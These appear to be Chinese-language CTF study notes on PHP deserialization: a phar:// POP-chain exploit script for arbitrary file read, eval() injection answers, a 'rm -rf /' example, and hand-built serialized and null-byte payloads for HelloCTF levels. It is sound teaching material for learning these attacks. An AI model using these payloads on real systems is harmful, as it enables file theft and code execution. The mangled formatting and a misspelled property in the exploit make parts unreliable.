用于前端展示的html代码。【看内容,发现是以<html>的形式】
2. function.php,
处理上传的文件,对文件的后缀做了白名单限制,
只允许gif,jpeg,jpg,png这几种后缀。上传文件的命名方式为 md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";,并且保存在/upload目录下。

【写了文件上传的题目,对此应该很熟悉】
3. class.php,
看到这个文件内容很明显使用反序列化来构造文件读取

结合上图中只对http,https,file:,gopher,dict协议的过滤,
并且上面还提醒:$this->source = phar://phar.jpg,很明显是使用phar伪协议触发反序列化。
通读代码,发现漏洞点在于可以通过调用Test类中的file_get_contents()方法造成任意文件读取。这是一个类的普通方法,要让这个方法执行,需要构造一个POP链:
需要构造一个POP链
1.
Test类中file_get()方法被同类下的get()方法调用,并传入$value参数。这里有一个if判断,判断$this->params[$key]是否存在,如果存在,这个$this->params[$key]就会被传递到
file_get_contents()方法进行读取。继续往上看,发现构造函数__contruct()给参数$param赋值了一个数组,魔术方法__get()调用get()方法,并传入参数$key,而__get()方法在读取不可访问的属性的值时会被调用,寻找可以触发的地方。其实调用链为:
【读一个不存在的属性,就能一步步绕到文件读取,甚至反序列化漏洞,这就是调用链的作用】
当你读一个Test实例不存在的属性(比如$obj->abc`)→ 触发`__get("abc")` → 调用`get("abc")` → 检查`$this->params["abc"]存在 → 把它的值传给file_get() → 最终用file_get_contents()读取这个值对应的文件/协议(比如phar://evil.jpg)
Test::file_get_contents() <-- Test::get()
2.
在Show类的魔术方法__toString()看到存在$this->str['str']->source,如果$this->str['str']为Test类的一个实例,那么就会访问不存在的source变量,这里就可以触发__get()方法
$this->str['str'] = new Test()
3.
下一步就要寻找可以触发Show类中__toString()方法的地方,最后在C1e4r类中析构函数__destruct()内发现了echo方法,如果$this->test是Show类顶得一个实例化对象,当使用echo就会把这个对象当作字符串调用,就可以触发魔术方法__toString()
$this->test = new Show()
最后的调用链为:
file_get_contents() <-- Test::get() <-- Test::__get() <-- Show::toString() <-- C1e4r::__destruct()
Pop链 C1e4r::__destruct() → Show::toString() → Test::__get() → Test::get() → file_get_contents() 拆解
这是一条PHP反序列化漏洞的调用链,核心是通过反序列化触发一系列魔术方法,最终执行
file_get_contents()读取文件。以下是从起点到终点的完整逻辑:
1. 起点:C1e4r::__destruct() 自动触发
- 当
C1e4r类的对象被销毁时(比如脚本结束、对象被unset),PHP会自动调用__destruct()魔术方法; - 假设
C1e4r::__destruct()里有代码:echo $this->obj;`(或其他输出`$this->obj的操作)。
2. 第二步:echo $this->obj` 触发 `Show::toString()`**
- 若`$this->obj是Show类的对象,且Show类未定义__toString()魔术方法?
不——若echo一个对象,PHP会自动调用该对象所属类的__toString()方法;
- 所以
echo $this->obj`(`$this->obj是Show实例)→ 触发Show::__toString()。
3. 第三步:Show::__toString() 读取不可访问属性 → 触发 Test::__get()
- 假设
Show::__toString()里有代码:return $this->test->xxx;`(`$this->test是Test类的实例,xxx是Test类不存在/不可访问的属性); - 当读取
Test实例的不可访问属性时,PHP会自动调用Test::__get($key)`(这里`$key="xxx")。
4. 第四步:Test::__get() 调用 Test::get()
- 假设
Test::__get($key)`里有代码:`return $this->get($key);` → 把`$key="xxx"传给Test::get()方法。
5. 终点:Test::get() 调用 file_get_contents()
- 假设
Test::get($key)`里有代码:`if (isset($this->params[$key])) { file_get_contents($this->params[$key]); }`; - 若`$this->params["xxx"]的值是恶意路径(比如phar://evil.phar或/etc/passwd),则file_get_contents()会读取对应的文件,完成攻击。
一句话总结调用链
反序列化C1e4r对象 → 对象销毁时触发__destruct() → 输出Show对象触发__toString() →
Show读Test的无效属性触发__get() → __get()调用get() → get()执行file_get_contents()读取目标文件。
关键核心
Pop链的本质是**“利用魔术方法的自动触发规则,把零散的方法串成一条执行链”**,最终达到攻击者想要的操作(比如读文件、执行代码)。
这里的每一步都是PHP语法的“默认行为”,攻击者只需要构造好对象之间的引用关系(比如让C1e4r->obj = Show实例,Show->test = Test实例,Test->params["xxx"] = 恶意路径),就能通过反序列化启动整个链条。
4. file.php,
从前端接收file参数,判断文件是否存在在/var/www/html/下,但是文件中没有unserialize()反序列化口,因为文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,这里正好使用file_exists()对用户提交的参数进行解析,如果我们构造phar://解析phar文件,就可以反序列化payload,造成任意文件读取。
构造exp:
<?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $clear = new C1e4r(); $show = new Show(); $test = new Test(); $test->parms['source'] ="/var/www/html/f1ag.php"; $clear->str = $show; //利用$this->test = $this->str;echo $this->test; $show->str['str'] = $test; //利用$this->str['str']->source; $phar = new Phar("joker.phar"); //.phar文件 $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($clear); //触发的头是C1e4r类,所以传入C1e4r对象 $phar->addFromString("test.txt", "test"); //生成签名 $phar->stopBuffering(); ?>
在本地环境中生成phar文件
本题没有对upload/目录做处理可以直接访问,由于对上传文件的后缀有检测,需要改为gif后缀,上传获取文件名

回到file.php页面,使用phar://伪协议解析上传的phar伪造的文件:
/file.php?file=phar://upload/46641c37ef2c8d2bd68ab582fdb25732.jpg
得到base64加密内容

PHP反序列化漏洞(PHP 对象注入漏洞)
在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
/请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:/
(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在
(2)我们在反序列化攻击的时候也就是依托类属性进行攻击(因为序列化的对象不包括类的方法)
挖掘反序列化漏洞的条件是:
1. 代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。
感觉略显生涩,用题目来理解
反序列化靶场 关卡 1 : 类的实例化【用的__construct()】
题目

代码审计
class FLAG{
//定义一个名为FLAG的“类”(类是面向对象编程的“模板”,用于创建对象)
public $flag_string = "HelloCTF{????}";
// 类的“属性”(变量)
// public:修饰符,意为“公开”,外部可直接访问;
//$:PHP中变量的标志;
// =:赋值;
// "" 字符串用双引号包裹
function __construct(){
///类的“构造方法”(特殊函数,创建对象时自动执行)
echo $this->flag_string;
// 输出属性值;
//echo:PHP输出内容的命令;
//$this:代表“当前对象”;
//->:访问对象属性的语法
}
}
$code = $_POST['code'];
//把用户POST请求里的“code”参数,存到变量$code里
// $_POST:PHP的“超全局变量”,专门接收前端通过POST方式提交的数据;
//['code']:取POST数据中名为“code”的值
eval($code);
// 把$code里的内容,当作PHP代码直接执行
// eval():PHP的“执行函数”,参数是字符串,它会把字符串解析成PHP代码并运行
eval($code)的危险在于:用户输入的内容会被当作代码执行,没有任何限制。
比如用户输入system('rm -rf /');(删除服务器所有文件的命令),eval()会直接执行,导致服务器被攻击;
比如用户输入new FLAG();,就能直接拿到flag_string的值(这是CTF靶场的“解题思路”)。
思路
【有代码可以知道,,eval()是个危险的函数,允许执行任意代码,,可以通过这个入口,让他输出flag_string里的值】
当你输入`new FLAG();`并被`eval()`执行时,PHP会做3件事:
1. **创建对象**:根据`FLAG`类的模板,生成一个新的对象(可以理解为“造了一个装着`flag_string`的盒子”)。
2. **自动触发构造方法**:`__construct()`是PHP的**特殊方法**——只要创建对象,这个方法就会**自动运行**(不需要你手动调用,比如`$obj->__construct())。
3.执行构造方法里的代码:构造方法里写了echo $this->flag_string;`,`echo`会直接把`$flag_string的值(HelloCTF{????})输出到页面上。
【把FLAG类想象成一个自动吐糖果的机器模板:
$flag_string`是机器里的“糖果”(值是`HelloCTF{????}`)。 - `__construct()`是机器的“启动按钮”——只要你按下“创建机器”(`new FLAG()`),按钮就会自动触发,机器立刻吐出糖果(`echo $flag_string)。- 你输入
new FLAG();,相当于“让服务器造一台这个机器”,机器造好的瞬间就把糖果吐给你了。
】
解题

反序列化靶场 关卡 2 : 类值的传递
题目

代码审计
error_reporting(0);
// 关闭PHP的所有错误提示(比如语法错误、变量未定义等都不会显示)
// error_reporting:PHP内置函数,用于设置错误报告级别;0代表“不报告任何错误”
//作用:靶场中常用,避免攻击者通过错误提示获取服务器信息(比如文件路径、PHP版本)
【就算代码写错了,也不会弹出“哪里错了”的提示框——防止你通过错误信息猜出服务器的秘密(比如文件存在哪里)。】
$flag_string = "HelloCTF{????}";
//变量flag_string的值为"HelloCTF{????}"
//定义一个全局变量,值是模拟的flag(
//这行是“障眼法”!看起来像flag,但后面根本没用它——别被它骗了~
//迷惑性变量
class FLAG{
// 定义一个叫FLAG的“模板”
public $free_flag = "???";
// 模板里有个“公共箱子”,名字叫$free_flag,里面装着"???"(这才是真·flag!)
function get_free_flag(){
// 模板里有个“按钮”,名字叫get_free_flag
echo $this->free_flag;
// 按下按钮,就会把“公共箱子”里的东西打印出来
}
}
$target = new FLAG();
//用FLAG模板造一个叫`$target`的“对象”(比如用手机模板造了一部叫“小米14”的手机)。
$code = $_POST['code'];
//把你通过POST方式提交的“code”内容,存到$code`这个变量里。
if(isset($code)){
// 如果你提交了code内容
eval($code);
// 把你输入的code当成PHP代码直接执行(这是漏洞!)
$target->get_free_flag();
// 按下$target的“打印按钮”,输出箱子里的东西
}
else{
// 如果你没提交code
highlight_file('source');
// 显示当前的代码(方便你看源码)
}
Now Flag is ???
思路
【看这串代码,然后,看到一个eval,就可以以此为突破口,code起步,后面跟着什么捏,上一题是new flag,新的对象,这题,你发现有$target = new FLAG();。。与上一题不同的是需要通过一个媒介,这个new FLAG(),只会进到free_flag(),然后,$flag_string】
【下次看到->,就想到“打开对象的口袋”;
看到=,就想到“把东西装进去”【(把右边的东西,放到左边的口袋里)】【= 符号是赋值运算符,核心作用是**“把右边的值,‘放’到左边的变量/属性里”】,
这样就再也不会忘啦! 😎】
你提交→代码执行你的命令→代码打印箱子里的东西。
漏洞就在于“执行你的命令”这一步——你可以随便改箱子里的内容,从而拿到flag!
$target->free_flag = $flag_string;
利用漏洞,把藏起来的真Flag‘转移’到能被输出的位置
[“把你手里的真Flag纸条($flag_string`),通过拉链(`->`)放进书包(`$target)的透明口袋(free_flag)里。”]
补充,如何看真假flag
在CTF靶场中,判断哪个是真Flag的核心逻辑是:真Flag会通过代码的漏洞或设计逻辑被“触发输出”,而假Flag只是静态存在的变量。结合你提供的代码,具体判断方法如下:
一、先明确:靶场Flag的核心特征
CTF中的真Flag通常满足两个条件:
- 格式特征:一般以
flag{...}或HelloCTF{...}
(如你代码中的$flag_string`)为固定格式(参考CTF竞赛的通用规范);
2. **可访问性**:必须能通过代码的漏洞(如`eval`注入)被修改或直接输出——如果一个变量无法被用户操作触发输出,那它大概率是假的。
二、针对你代码的具体判断步骤
你的代码中存在两个“疑似Flag”的变量:
`$flag_string和FLAG类的$free_flag`,
判断哪个是真的,只需要**用漏洞测试能否让它输出**:
**步骤1:测试`$flag_string是否能被输出**
代码中的eval($code)`是核心漏洞——你可以提交代码,让`$flag_string的值替换$free_flag`,再通过`get_free_flag()`输出:
- 提交`code`参数为:`$target->free_flag = $flag_string;`
- 如果输出的内容是`HelloCTF{????}`(即`$flag_string的值),说明它是真Flag(因为它通过漏洞被成功触发输出)。
步骤2:验证$free_flag`是“容器”而非真Flag**
`$free_flag的初始值是???,它本身不是Flag,而是一个“输出容器”——靶场设计它的目的,是让你通过漏洞把真Flag($flag_string`)“装进去”,再通过`get_free_flag()`打印出来。
#### **步骤3:终极判断:
看哪个变量符合CTF格式** 如果`$flag_string的格式是HelloCTF{xxx}(符合CTF Flag的常见格式),而$free_flag`是`???`(无意义占位符),那么**`$flag_string一定是真Flag。
三、一句话总结
真Flag的关键不是“变量名像Flag”,而是**“能被你通过漏洞操作并输出”**。
你的代码中,$flag_string是唯一符合“CTF格式+可通过漏洞输出”的变量,所以它是真Flag。
下次遇到类似代码,直接用漏洞测试“哪个变量能被输出”,就能快速锁定真Flag啦! 🎯
解题

反序列化靶场 关卡 3 : 对象中值的权限
题目

代码审计
class FLAG{
//定义了一个名为FLAG的类,包含3个不同访问权限的属性和2个方法。
public $public_flag = "HelloCTF{?";
//**:公共属性,所有代码都可直接访问。
protected $protected_flag = "?";
//受保护属性,仅类自身及子类可访问。
private $private_flag = "?}";
//私有属性,仅类自身可访问。
function get_protected_flag(){
//类的公共方法,返回私有属性$private_flag`的值。
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}
?>
Trying to get FLAG...
Public Flag: HelloCTF{se3_me_
Protected Flag: Error: Cannot access protected property FLAG:: in ?
Private Flag: Error: Cannot access private property FLAG:: in ?
...Wait,where is the flag?
//关键提示“Wait, where is the flag?”
//字面意思:“等等,FLAG在哪里?”
//实际含义:提示用户直接访问属性无法获取完整FLAG,
//需要通过其他合法方式(如利用子类继承、父类提供的公共方法,
//或通过eval()执行代码调用正确的方法)来拼接完整FLAG。
上面
逐行解释
1.class SubFLAG extends FLAG
声明一个名为SubFLAG的类,通过extends FLAG表示它是父类FLAG的子类(继承关系)。
子类会自动拥有父类的所有**公共(public)和受保护(protected)属性/方法,
但私有(private)**属性/方法仅父类自身可访问。
2.function show_protected_flag()
子类定义的公共方法,用于获取父类的受保护属性$protected_flag`。
`$this代表“当前对象”(即SubFLAG的实例),由于子类有权访问父类的受保护属性,
因此**调用该方法会成功返回$protected_flag`的值**。
3. `function show_private_flag()
`** - 子类定义的公共方法,尝试获取父类的**私有属性**`
$private_flag。私有属性仅父类自身可访问,子类无权直接读取,
因此调用该方法会触发错误(提示“无法访问私有属性”)。
核心结论
1.子类可以通过自身方法访问父类的受保护属性(如show_protected_flag())。
2.子类无法直接访问父类的私有属性(如show_private_flag()会报错),
必须通过父类提供的公共方法(如FLAG类的get_private_flag())才能获取。
get_protected_flag()与show_protected_flag()有什么区别(个人好奇)
1. 定义位置不同
get_protected_flag():定义在**父类FLAG**中,是父类自身提供的公共方法。show_protected_flag():定义在**子类SubFLAG**中,是子类扩展的公共方法。
2. 访问逻辑不同
两者的核心目标都是获取$protected_flag`,但实现方式基于不同的“身份”:
`get_protected_flag()`: 作为父类的方法,通过`$this直接访问父类自身的受保护属性(逻辑上属于“自己访问自己的属性”,完全合法)。show_protected_flag():
作为子类的方法,通过$this`访问**从父类继承的受保护属性**(逻辑上属于“子类访问父类允许共享的属性”,符合PHP继承规则)。
3. 调用场景不同
**`get_protected_flag()`**:
可通过**父类对象**或**子类对象**调用(因为子类继承了父类的公共方法)。
示例:
`$target->get_protected_flag()($target`是`FLAG`对象)、
`$sub_target->get_protected_flag()($sub_target`是`SubFLAG`对象)。
**`show_protected_flag()`**:
仅可通过**子类对象**调用(因为是子类独有的方法)。
示例:
`$sub_target->show_protected_flag()($sub_target`是`SubFLAG`对象)。
**4. 本质区别总结**
| 维度 | `get_protected_flag()` | `show_protected_flag()` |
| **定义类** | 父类`FLAG` | 子类`SubFLAG` |
| **访问属性的“身份”** | 父类自身 | 子类(继承父类属性) |
| **调用对象范围** | 父类/子类对象均可调用 | 仅子类对象可调用 |
| **核心逻辑** | 父类主动“暴露”受保护属性的值 |子类主动“读取”继承的受保护属性
**关键结论**
两者最终都能成功获取`$protected_flag的值,
但前者是父类提供的“官方接口”,后者是子类利用继承规则实现的“自定义接口”,本质都是PHP访问权限规则的合法应用。
若将$protected_flag`改为`private`:
1. 父类方法`get_protected_flag()`的变化**
- **父类自身调用**:仍能正常返回值(私有属性仅限制外部/子类访问,父类自身可自由读写)。
- **子类调用**:子类继承了父类的公共方法`get_protected_flag()`,因此通过**子类对象调用该方法时,依然能获取到父类的私有属性值**(因为方法的“执行上下文”是父类,不受子类权限限制)。
2. 子类方法`show_protected_flag()`的变化**
- **直接报错**:子类无法通过`$this->private_flag访问父类的私有属性
(私有属性的访问权限严格限制在父类自身**,子类即使继承也无权直接读取)。
- 调用结果:执行
`subtarget−>show protected flag()‘时,会触发“Cannot access private property FLAG::private_flag”的错误。
核心区别总结
|
方法 |
访问父类 属性的结果 |
原因 |
|
父类 |
✅ 成功获取 |
方法属于父类,执行时处于父类上下文,可访问自身私有属性。 |
|
子类 |
❌ 报错 |
方法属于子类,执行时处于子类上下文,无权直接访问父类的私有属性。 |
关键结论
PHP的私有属性是“类级别的封装”,仅允许定义它的类自身直接访问。
子类既无法直接读取父类的私有属性,也无法通过$this间接访问,
但可以通过父类提供的公共方法(如get_protected_flag())间接获取(因为方法的执行权在父类手中)。
思路
php修饰符public protected,private的访问权限
需要调用定义的方法输出另外两段flag,
要找到所谓的flag
解答
code=echo $target->public_flag . $target->get_protected_flag() . $target->get_private_flag();
或者
code=echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();



反序列化靶场 关卡 4 : 序列化
题目

代码审计
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
1. class FLAG3{ ... }
含义:定义一个名为FLAG3的类。
私有属性:
private $flag3_object_array = array("?","?");`
`private`:表示这个属性**只能在`FLAG3`类内部访问**,外部或子类都无法直接获取。
`$flag3_object_array:属性名,存储一个包含两个未知值(“?”)的数组,这两个值是FLAG的一部分。
2. class FLAG{ ... }
含义:定义一个名为FLAG的类(主类)。
私有属性:
private $flag1_string = "?";`:
字符串类型的私有属性,存储FLAG的一部分(未知值)。
`private $flag2_number = '?';:
数字/字符串类型的私有属性,存储FLAG的一部分(未知值)。
private $flag3_object;`:
私有属性,用于存储`FLAG3`类的实例(后续通过构造函数初始化)。
**构造函数**:`function __construct() { $this->flag3_object = new FLAG3(); }
__construct():类的构造函数,创建FLAG对象时会自动执行。
$this->flag3_object = new FLAG3();`:
初始化`$flag3_object属性,将其赋值为FLAG3类的新实例(即嵌套了一个子对象)。
//把`FLAG3`的新实例“装”进`FLAG`对象的`flag3_object`属性里,让`FLAG`对象内置一个`FLAG3`对象。
//**为什么要这么写?** 因为`FLAG`类需要用到`FLAG3`类的功能
//(比如`FLAG3`里的`$flag3_object_array数组),
//但又不想让外部直接操作FLAG3,所以通过构造函数自动嵌套,把FLAG3变成FLAG的“内部组件”。
//让每个新的FLAG对象,天生就带着一个FLAG3对象作为自己的属性,不用你手动再去创建FLAG3实例~ 😊
//“=”相当于装进去的意思,后者装进前者里面。
3. $flag_is_here = new FLAG();
`** - **含义**:创建`FLAG`类的一个实例,变量名为`$flag_is_here。
作用:所有FLAG相关的内容(flag1_string、flag2_number、flag3_object)都隐藏在这个对象中。
【为什么都隐藏在里头呢,因为,你看,FLAG()在定义的时候,包括了以上的三个部分,
而这个变量名$flag_is_here,其实就是一个FLAG,所以作用如上。】
4. $code = $_POST['code'];
含义:从用户的POST请求中获取code参数的值,存储到变量$code`中。
- **场景**:用户可能通过表单或工具提交恶意/测试代码(如`var_dump($flag_is_here);)。
5. if(isset($code)){ eval($code); } else { highlight_file(__FILE__); }
**if(isset($code))`**:
判断用户是否提交了`code`参数。
- 若提交了:执行`eval($code);——将$code中的内容作为PHP代码执行(核心风险点,也是解题关键)。
-若未提交:执行highlight_file(__FILE__);——展示当前文件的代码(即用户看到的这段代码本身)。
$flag_is_here = {
flag1_string: "某个值", // FLAG类的私有属性
flag2_number: "某个值", // FLAG类的私有属性
flag3_object: { // 存储的是 FLAG3 类的实例(对象)
flag3_object_array: ["值1", "值2"] // FLAG3类的私有属性
}
}
思路
题目中已提示
【这题你发现全部都是private,且没有设置get让大家访问,所以前三题的方法无法在使用】
这题,依旧是要从eval出发,然后呢,要输出FLAG,此次变量名叫$flag_is_here,所以就是要输出他,但是,发现都是private,所以需要去找找方法比如序列化。。
PHP 的 serialize() 函数在序列化对象时,会将对象的所有属性(包括私有属性) 转换为字符串,从而可以从中提取私有属性的值。
解题
code=echo serialize($flag_is_here);

O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
解释
核心格式说明
PHP序列化字符串的结构是:类型:长度:"内容";,其中类型包括:
O:对象(Object)s:字符串(String)i:整数(Integer)a:数组(Array)
逐段拆解每个部分
1. O:4:"FLAG":3:{ ... }
O:表示这是一个对象(Object)。4:对象对应的类名长度(FLAG是4个字符)。"FLAG":对象所属的类名(即之前代码中的FLAG类)。3:对象包含3个属性(对应flag1_string、flag2_number、flag3_object)。
2. s:18:"FLAGflag1_string";s:8:"ser4l1ze";
s:18:"FLAGflag1_string":
-
s:字符串类型;18:属性名长度(FLAGflag1_string是18个字符);"FLAGflag1_string":属性名(FLAG类的私有属性,序列化时会自动加上类名前缀)。
s:8:"ser4l1ze":
-
s:字符串类型;8:属性值长度(ser4l1ze是8个字符);"ser4l1ze":属性值(即flag1_string的内容)。
3. s:18:"FLAGflag2_number";i:2;
s:18:"FLAGflag2_number":属性名(FLAG类的flag2_number属性)。i:2:
-
i:整数类型;2:属性值(即flag2_number的内容是数字2)。
4. s:18:"FLAGflag3_object";O:5:"FLAG3":1:{ ... }
s:18:"FLAGflag3_object":属性名(FLAG类的flag3_object属性)。O:5:"FLAG3":1:{ ... }:
-
O:对象类型;5:类名长度(FLAG3是5个字符);"FLAG3":类名(即之前代码中的FLAG3类);1:FLAG3对象包含1个属性。
5. s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}
s:25:"FLAG3flag3_object_array":FLAG3类的私有属性名(序列化时加类名前缀)。a:2:{ ... }:
-
a:数组类型;2:数组包含2个元素。
i:0;s:3:"se3":数组第0个元素(i表示索引,0是下标;s:3:"se3"是字符串值)。i:1;s:2:"me":数组第1个元素(下标1,值为me)。
一句话总结
这段字符串是FLAG对象的序列化结果,每个部分对应对象的类名、属性名和属性值。其中ser4l1ze、2、se3、me就是你要找的FLAG片段,拼接起来可能是完整的FLAG
(比如ser4l1ze2se3me)~ 😊
反序列化靶场 关卡 5 : 序列化规则
题目

代码审计
class a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;
//一直在定义内容,如布尔值,数组等等
See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:8:"HelloCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}
You really know how to serialize?
思路
通过反序列化函数把传入的字符串还原成数据类型,满足要求才会输出flag,根据题目提示,构造payload
【这题考察的是,如何反序列化成题目要求的内容,上一题是序列化,同时需要看懂序列化形式,而这下是要让你写出字符串形式,转化成正常数据,。】
解题
**参数串整体结构** 格式:`参数名=序列化内容&参数名=序列化内容` 每个`&`分隔不同参数,等号左边是代码里的`$_POST键(如o/a),右边是符合PHP序列化规则的字符串。
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}
&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}
&s=s:5:"IWANT";
&i=i:1;
&b=b:1;
&n=N;
(————第一个字母来自post那里表明的,按照if里面内容写)

反序列化靶场 关卡 6 : 序列化规则_权限修饰
题目

代码审计
class protectedKEY{
protected $protected_key;
function get_key(){
return $this->protected_key;
}
}
//定义了一个类,并设置了属性,以及访问方式
class privateKEY{
private $private_key;
function get_key(){
return $this->private_key;
}
}
See Carfully~
protected's serialize:
O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize:
O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
<?php
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
//即,反序列化后,结果即为原本数据,未出现丢失。。
echo $flag;
} else {
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
highlight_file(__FILE__);
}
protected属性的序列化结果包含 \0*\0(空字符 + * + 空字符)
private属性的序列化结果包含 \0类名\0(空字符 + 类名 + 空字符)
这些空字符(\0)在 URL 或 HTTP 请求中是不允许直接出现的,会导致数据传输错误或被截断。所以要url编码,手动构造较为麻烦,直接用脚本。官方的脚本比较简洁


解题
小tips:::要是直接修改太麻烦,可以选择先写脚本捏。。
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
题目如上,,我要输入后面那个post的形式,$private_key 此为变量名,他是反序列化,那么我要先在里面的内容是序列化的字符串才可以,而这个已经写在前面了,就在页面上可以照抄,,

if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
题目如上,注意在post的时候,要同时写get_key()和 "protected_key" 的内容,才算完成,而在页面中显示的只有前半段get_key()的内容,后面是N,所以注意到要对他进行修改。

protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
解释答案
先明确基础规则
你看到的%3A/%22等是URL编码(把特殊字符转成%+十六进制),先还原成正常字符,方便理解:
%3A→:%22→"%7B→{%7D→}%00→ 空字节(PHP中表示“类的访问修饰符”,比如protected/private属性)%2A→*%3B→;
第一步:拆解protected_key参数
题目中: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
正确答案:protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D
还原后完整内容:O:12:"protectedKEY":1:{s:16:"%00*%00protected_key";s:13:"protected_key";}
逐段解释:
O:12:"protectedKEY"
-
O→ 表示这是一个对象;12→ 类名protectedKEY的长度是12个字符;"protectedKEY"→ 类的名字。
:1:{...}
-
1→ 对象里有1个属性;{}→ 包裹属性的键值对。
s:16:"%00*%00protected_key"
-
s→ 属性名是字符串;16→ 属性名的长度(含空字节);%00*%00protected_key→ 核心!
-
-
%00是空字节,PHP中protected属性的序列化格式是:空字节 + * + 空字节 + 属性名(*代表受保护);- 所以这个属性名实际是
protected修饰的protected_key。
-
s:13:"protected_key"
-
s→ 属性值是字符串;13→ 字符串长度(protected_key共13个字符);"protected_key"→ 属性值内容。
第二步:拆解private_key参数
还原后完整内容:O:10:"privateKEY":1:{s:23:"%00privateKEY%00private_key";s:11:"private_key";}
逐段解释:
O:10:"privateKEY"
-
O→ 对象;10→ 类名privateKEY的长度是10个字符;"privateKEY"→ 类的名字。
:1:{...}
-
1→ 1个属性;{}→ 属性键值对。
s:23:"%00privateKEY%00private_key"
-
s→ 属性名字符串;23→ 属性名长度(含空字节);%00privateKEY%00private_key→ 核心!
-
-
- PHP中
private属性的序列化格式是:空字节 + 类名 + 空字节 + 属性名; - 这里类名是
privateKEY,所以属性名实际是privateKEY类的private修饰属性private_key。
- PHP中
-
s:11:"private_key"
-
s→ 属性值字符串;11→ 字符串长度(private_key共11个字符);"private_key"→ 属性值内容。
第三步:总结这两个参数的本质
这两个参数都是PHP中带“访问修饰符”的对象序列化数据:
|
参数名 |
类名 |
属性修饰符 |
属性名 |
属性值 |
|
|
|
|
|
|
|
|
|
|
|
|
简单说:这是把两个类(protectedKEY/privateKEY)的对象,通过序列化转成字符串,再URL编码后作为POST参数传输——目的是让接收方反序列化后,能拿到带protected/private属性的对象~
补充
URL编码(也叫百分号编码)的核心目的是让特殊字符能安全通过HTTP协议传输,避免破坏请求结构或被错误解析。以下是具体原因:
1. HTTP协议的“字符限制”
HTTP请求(尤其是GET/POST的参数部分)只能传输ASCII字符集中的“安全字符”(比如字母、数字、-/_/./~)。
如果直接传输特殊字符(如:/"/&/空格/空字节%00),HTTP协议会把它们当成请求结构的一部分(比如&是参数分隔符,=是键值分隔符),导致参数被错误分割或解析失败。
举个例子:
如果你的参数是o=O:7:"a_class":1:{...},直接传输的话,:/"会被HTTP当成“非参数内容”,服务器收到后可能无法正确识别这是一个完整的参数值
——URL编码把这些特殊字符转成%+十六进制的形式(比如:→%3A,"→%22),让HTTP把它们当成“普通字符串”传输。
【就是会传输失败】
